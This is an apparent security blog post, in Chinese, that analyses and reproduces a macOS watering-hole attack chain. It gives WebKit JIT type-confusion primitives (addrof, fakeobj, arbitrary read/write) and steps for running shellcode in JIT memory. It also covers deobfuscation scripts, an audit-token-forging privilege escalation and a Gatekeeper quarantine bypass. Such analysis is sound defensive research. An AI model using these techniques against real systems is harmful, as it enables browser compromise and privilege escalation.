MacOS 水坑攻击组合拳分析复现

fzxcp3 2022-09-19 10:36:00

概述

去年11月Google TAG发布了一篇[1]针对MacOS的水坑攻击调查报告,在红队的攻击几乎都以windows下的压缩包投毒为主的当下 能有一起针对Mac如此精良的攻击值得好好复盘分析

分析顺序

1、样本结构概览
2、webkit exp分析改造
3、shellcode分析
4、LPE 分析复现
5、端上行为表现

样本结构概览

整个样本的结构非常清晰,与P0大神Samuel Groß在JITSploitation[3]系列文章中公布的POC 十分接近
1.png
2.png
3.png

webkit exp分析改造

原EXP中因为一些定制化的操作如macho2shellcode,将2个入参的调用改造成5个, 二阶shellcode AES-128-EBC、TEA加密,中间样本缺失等原因想直接改造成可运行的poc有一些难度,因此考虑熟悉整体webkit攻击流程后 小幅度重写

webkit漏洞利用背景知识简述

首先webkit中两个非常重要的类型,JSValue和JSObject
JSValue中存在一个编码表

true : 0x07
false : 0x06
undefined : 0x0a
null : 0x02
pointer : 0000
double : 0001 - fffe
integer : ffff

jsv_mark.png

JSObject
header : 32bits
structid : 32bits
butterfly : 64bits
inline properties : n * 64bits

JSObj.png
JSObject 主要两部分组成,JSCell 和 Butterfly
JSCell 包含 header(type/flag等)的基础字段和 StructID 的随机字段用于安全防护
后面是一个Butterfly的字段,指向了具体存储的内容

JIT执行

LLInt(解释器) -> [语句超过100/函数超过6]baseline -> [1000/66] DFG -> FTL

到DFG层如果认为字段类型不会改变就会删除对类型的检查以提升效率,因此可能存在类型混淆

攻击样本中的相关内容
jit.png

比如将一个Object的类型放入Double
这时javascript引擎认为我们构造的Object对象是Double,Double类型会直接返回Butterfly指向的内存内容,而Object的Butterfly指向的内容是一个指针
这时就把一个指针当成Double返回了

用python可以把这个double转换成hex,或者hex转double

>>> import struct
>>> struct.pack("Q",4623716258932001341).encode('hex')
'3d0ad7a370bd2a40'

>>> struct.unpack("d","\x3d\x0a\xd7\xa3\x70\xbd\x2a\x40")
(13.37,)

这时就实现了一个原始的addof原语
攻击样本中实现的addrof
addrof.png

另一个漏洞利用原语:fakeobj,基本是addrof的相反操作
把Double写入Object,这时javascript引擎认为我们构造的对象地址是Double(指针),因为Object可以任意构造,相当于实现了任意地址写入
攻击样本中实现的fakeobj
fakeobj.png

在实际的构造中,因为JSObject的JSCell也需要构造,因此把地址+0x10指向Butterfly,把JSCell也当成数据写入
这时有个问题是随机的StructID我们没办法预测,解决方案是使用StructureID喷射技术来预测StructureID,随机写一个StructID,然后不断在Object中添加内容就会撞到那个值
攻击样本中的实现
Structid.png
构造假JSCell
攻击样本中的实现
jscell.png

javascript引擎中存在box跟unbox的机制
比如
box.png
同样的内容在数组中被添加了Object对象之后就变了,增大了0x1000000000000
这个机制背后隐藏了一个更稳定易用的类型混淆,header中有bit位控制数组类型是ArrayWithDoubles还是ArrayWithContiguous,这也是一种Double跟Object的类型混淆

var outer = {
    cell_header: flags_arr_contiguous,
    butterfly: victim
};
f64[0] = addrof(outer)
u32[0] += 0x10 // 小技巧,实现了Add(addr,0x10);
var hax = fakeobj(f64[0]);

现在用fakeobj构造了一个完全受控的对象hax,他的butterfly指向了victim的对象地址

hax[0] => victim 的 metadata
hax[1] => victim 的 butterfly

这时候就可以随意修改victim的类型到底是ArrayWithDoubles还是ArrayWithContiguous

构造一个unbox

var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]

再构造一个boxed

var boxed = [{}];

hax[1] = unboxed //butterfly设置为unbox
var tmp_butterfly = victim[1]; //拿到butterfly
hax[1] = boxed //重置类型为boxed
victim[1] =  tmp_butterfly; //替换butterfly

现在box和unbox指向同一个butterfly

现在就有了一个新的 更稳定易用的类型混淆
在unbox设置为指针,从box读出来就是obj

unboxed[0] = 1.23e-45
var obj = boxed[0];

反过来也一样

boxed[0] = some_object
unboxed[0]

现在可以着手构造Read / Write 函数了

根据上面的构造

hax[0] => jscell_header
hax[1] => victim

butterfly之所以叫蝴蝶,是因为他指向的是一个结构的中间的位置

Property.y |Property.x | Length | Element 0 | Element 1 | Element 2
                                | --> Butterfly Pointer

所以x 存储在butterfly - 0x10

因此

read64 = function(where){
    hax[1] = Add(where,0x10);
    return victim.a;
}

反过来也一样

write64 = function (where, what) {
    hax[1] = Add(where,0x10);
    victim.a = what;
}

完整的任意地址读写的函数已经构造完毕了
攻击样本中的相关实现
read_write.png
最后是从任意地址读写到任意代码执行
下图是Samuel Groß POC中的实现
execute.png
在mac上的实现相对简单,因为JIT区域有rwx权限,将shellcode写入调用就可以执行了
在ios上就相对困难,存在PAC、Gigacage之类的机制

攻击样本中的实现
real_attack.png

经过上面的分析,POC的整体流程已经大概清晰了,理论上保留addrof / fakeobj 两个原语,利用部分替换成代码更规整的其他POC即可,但实际上遇到了各种问题比如不同版本的系统JIT等地址偏移不同等

经过了几轮测试,最后保留原POC的内容到memcpy为止,其他部分参考CVE-2020-9802的POC构造JIT function,嫁接成功

1构造一个会被JIT优化的函数
2利用addrof读取函数地址
3通过函数地址的偏移找到executableBaseAddr
4从executableBaseAddr的偏移找到jitCodeAddr
5通过jitCodeAddr的地址得到rwx的内存
6构造Uint8Array,将shellcode写到内存
7覆盖rwx的地址为shellcode
8运行新的JIT函数

剩下的是一些小的tips
msf生成的shellcode转换成Uint32Array

var hex = '6a005f68001000005e6...'
var typedArray = new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
 return parseInt(h, 16)
}))
var buffer = typedArray.buffer
var n = new Uint32Array(buffer)

构造成功截图
fx.jpg

shellcode分析

因为样本用了一种类似于macho2shellcode的技术,dump出来之后可以被识别为macho文件
使用nodejs把Uint32Array的shellcode写回raw

let shellcode8 = new Uint8Array(load_macho_mac.buffer);
const load_macho_mac = new Uint32Array(shellcode8.buffer);

let hex = Buffer.from(shellcode8);
var fs = require('fs');
fs.writeFile('./sc_raw',hex,{'flag':'a'},function(err){;});

sc.png

整个样本中用了大量xor的字符串混淆,完全不可读,而且dump出来的内容是无法正常执行的(替换了dlsym也不行),因此是无法动态调试的
Google的分析文档中有提到用了个简单的python脚本进行反混淆,但是并没有公开内容
想了下应该只能使用idapython或者仿真执行

只以图中这段混淆内容为例

1)idapython

addr = 0x100005030
by = []
while True:
    x += 1
    if idc.print_insn_mnem(addr) == 'mov' and idc.print_operand(addr,1).startswith('cs:byte_'):
        a0 = idc.get_operand_value(addr,1)
        a1 = ida_bytes.get_byte(a0)
    if idc.print_insn_mnem(addr) == 'xor':
        a2 = idc.get_operand_value(addr,1)
        idc.set_cmt(addr, str(hex(a1 ^ a2)), 0)
        by.append(a1 ^ a2)
        addr = ida_bytes.next_addr(addr)
        if addr >= 0x10000537E:
            break

2)flare_emu
但是其他的位置的解码操作海油取反之类的动作,且会从特定位置开始读取字符串,使用idapython太复杂了
flare_emu的仿真执行应该是一个更好的方式

import flare_emu
import hexdump
eh = flare_emu.EmuHelper()
eh.emulateRange(0x100005030, endAddr=0x10000537E, skipCalls=False)
b = eh.getEmuBytes(0x1000143A0, 0x3b)
print(b)

将相关的内容解码之后整个代码的逻辑就非常清晰了
decode.png
之前用来增加难度的混淆逻辑,现在反倒成了执行的内容索引
基本的执行流程:
调用dlsym查找各种需要的函数地址 -> 发送网络请求下载下一阶段的载荷 -> AES + TEA 解码 -> 写文件落盘 -> 调用adjust_port_type -> 修改audit_token -> 构造xpc调用 ->
执行xattr -d com.apple.quarantine 绕过Gatekeeper -> kuncd加载执行最后payload
lct.png

LPE分析复现

参考zer0con21[5] 、mosec21[6] 与样本中的伪代码 基本捋顺了LPE的逻辑
adjust_port_type.png
漏洞原理简述:
在发送特殊的mach消息的时候,混淆了ipc_port和 ipc_importance_task_t 的类型
在ipc_importance_task_release的时候,会导致io_bits减小1
io_bit.png
因此可以把用户态可通信的IKOT_NAMED_ENTRY改成内核的IKOT_HOST_SECURITY以伪造自己的sec_toekn和audit_token
这个过程有点类似linux的cred结构体
或者从IKOT_HOST_SECURITY修改成IKOT_HOST_PRIV来给kuncd发送消息
作者原文中提到了7种利用方式,攻击代码中实现了其中的2种,以IKOT_HOST_SECURITY为例尝试复现

adjust_port_type的部分结合作者文档中的截图与xnu开源代码中的prioritize_process_launch_helper.c -> send 函数可以复现
核心点在于构造launchd的token
token.png

audit_token 定义

audit_token.val[0] = my_cred->cr_audit.as_aia_p->ai_auid;
audit_token.val[1] = my_pcred->cr_uid;
audit_token.val[2] = my_pcred->cr_gid;
audit_token.val[3] = my_pcred->cr_ruid;
audit_token.val[4] = my_pcred->cr_rgid;
audit_token.val[5] = p->p_pid;
audit_token.val[6] = my_cred->cr_audit.as_aia_p->ai_asid;
audit_token.val[7] = p->p_idversion;

调用task_info检查是否利用成功

task_info(mach_task_self(),TASK_AUDIT_TOEKN,(task_info_t)&token,&size)
printf("%d\n",token.val[0]);

与launchd通信的xpc消息构造
launchd.png
IDA 还原的代码有明显错误,根据上下文怀疑最后的v8应该是_launch_msg2
lldb attach到safari的WebContent进程测试下
attach.png
xpc.png
v8函数的参数与_launch_msg2的动态参数一致

端上表现行为

launch_dumpstate.png
xattr.png
kuncd.png

总结

此次攻击利用的代码中使用了大量未公开的技巧、函数,webkit 0day,LPE 1day等,作为防守方整个流程跟下来收益匪浅

参考文档:
[1] https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/
[2] https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/
[3] https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
[4] https://liveoverflow.com/getting-into-browser-exploitation-new-series-introduction-browser-0x00/
[5] https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf
[6] https://github.com/wangtielei/Slides/blob/main/mosec21.pdf

评论

S

solocogo 2022-09-27 16:12:48

博主能共享下样本吗?谢谢

F

fzxcp3

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Windows安全 文章:88 篇
SQL注入 文章:39 篇
其他 文章:95 篇
CTF 文章:62 篇
事件分析 文章:223 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录